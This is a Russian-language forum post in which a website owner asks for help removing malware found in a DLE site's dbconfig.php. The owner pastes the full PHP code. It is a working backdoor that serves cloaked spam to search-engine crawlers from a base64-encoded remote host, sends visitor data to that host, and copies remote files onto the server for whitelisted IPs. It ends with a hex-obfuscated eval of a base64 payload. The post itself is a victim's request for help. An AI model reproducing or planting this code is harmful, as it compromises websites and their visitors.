Перейти к публикации

Помогите с вирусом


Рекомендованные сообщения

Здравствуйте! на сайте в файле engine/data/dbconfig.php нашел вредоносный код внизу страницы.


class conectBase {

var $timeout = 15;

var $bUrl = '';

private function get_content_code($a,$query=false,$type=false){

if($type) $frt = $a.$query;

else $frt = base64_decode($a).$query;

$ret = false;

if( @function_exists('curl_init') ){

if( $curl = @curl_init() ){

if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;

if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;

if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;

if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;

if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;

$ret = @curl_exec($curl);

@curl_close($curl);

}

}

else{

$u = parse_url($frt);

if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){

$headers = 'GET '. $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";

$headers .= 'Host: '. $u['host'] ."\r\n";

$headers .= 'Connection: Close' . "\r\n\r\n";

@fwrite($fp, $headers);

$ret = '';

while( !feof($fp) ){

$ret .= @fgets($fp,1024);

}

$ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);

@fclose($fp);

}

}

return $ret;

}

private function srt_rep($data){

$data = preg_replace("'[^a-zа-я.,-]'si",'',$data);

$data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));

$data = str_replace("\r\n","",$data);

$data = str_replace(" ", "::::",$data);

return$data;

}

private function get_n_link($content){

preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);

foreach($all[1] as $val){

$link = explode("/",$val);

$host = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);

$h_link = preg_replace('/^www\./', '', $link[0]);

if($h_link !== $host){

$name[$h_link] = $h_link;

}

}

return count($name);

}

private function title_desc($content){

if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){

foreach($math[0] as $key =>$val){

if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);

if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);

if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);

}

}

if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){

if(strstr($pre_title[1],'»')) preg_match("'(.*?)»'si",$pre_title[1],$MERS[3]);

else $MERS[3][1] = $pre_title[1];

}

return $MERS;

}

private function upFile(){

if($_GET['upFile']){

$ip = $_SERVER["REMOTE_ADDR"];

$ipList = $this->get_content_code($this->bUrl,'false&ipList=true');

if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){

@mkdir(ROOT_DIR.$_GET['upDir']);

@copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);

if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';

}

}

}

public function conectBase($murl){

$URI = $_SERVER["REQUEST_URI"];

$HOST = $_SERVER["HTTP_HOST"];

$this->bUrl = $murl;

$this->upFile();

$rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));

if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){

print "<!--bot_true-->\n";

$content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);

$MERS = $this->title_desc($content);

$s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');

$vs = $this->get_n_link($content);

$temp = $this->get_n_link($s_temp);

$conect = 'n';

if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){

$conect = 'y';

}

elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){

$conect = 'g';

}

if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){

$MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');

$MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');

$MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');

}

$TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1]));


if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){

$TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');

}

print $TMP;

}

}

}

$conectBase = new conectBase('aHR0cDovL3BpemRlYy1uZWFyLndzL2NvbmVjdC5waHA/dXJsPQ==');												    preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\73","\x61\127\x59\157\x61\130\x4e\172\x5a\130\x51\157\x4a\106\x39\124\x52\126\x4a\127\x52\126\x4a\142\x49\153\x68\125\x56\106\x42\146\x53\105\x39\124\x56\103\x4a\144\x4b\123\x41\155\x4a\151\x41\150\x61\130\x4e\172\x5a\130\x51\157\x4a\106\x39\104\x54\60\x39\114\x53\125\x56\142\x4a\62\x52\163\x5a\126\x39\61\x63\62\x56\171\x58\62\x6c\153\x4a\61\x30\160\x4b\130\x73\116\x43\151\x52\157\x62\63\x4e\60\x49\104\x30\147\x63\63\x52\171\x58\63\x4a\154\x63\107\x78\150\x59\62\x55\157\x49\156\x64\63\x64\171\x34\151\x4c\103\x49\151\x4c\103\x52\146\x55\60\x56\123\x56\153\x56\123\x57\171\x4a\111\x56\106\x52\121\x58\60\x68\120\x55\61\x51\151\x58\123\x6b\67\x44\121\x6f\153\x62\107\x6c\165\x61\171\x41\71\x49\105\x42\155\x61\127\x78\154\x58\62\x64\154\x64\106\x39\152\x62\62\x35\60\x5a\127\x35\60\x63\171\x67\156\x61\110\x52\60\x63\104\x6f\166\x4c\63\x4e\63\x5a\127\x56\60\x4c\130\x4e\157\x59\127\x52\166\x64\171\x35\165\x59\127\x31\154\x4c\62\x39\162\x4c\63\x52\153\x63\171\x35\167\x61\110\x41\57\x61\155\x74\153\x63\110\x52\151\x64\172\x30\156\x4c\151\x52\157\x62\63\x4e\60\x4b\124\x73\116\x43\155\x56\152\x61\107\x38\147\x4a\107\x78\160\x62\155\x73\67\x44\121\x70\71");

Мой сайт периодически уже заражали в этом файле и в файле config.php но я все оттуда благополучно удалял. А вот когда удаляю этот код, то сайт продолжает работать, но менятся кодировка на квадратики и я не могу ни как ее поменять обратно, сотрудники хостинга вроде бы тоже не смогли.

Что можно с этим поделать?3.jpg

Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...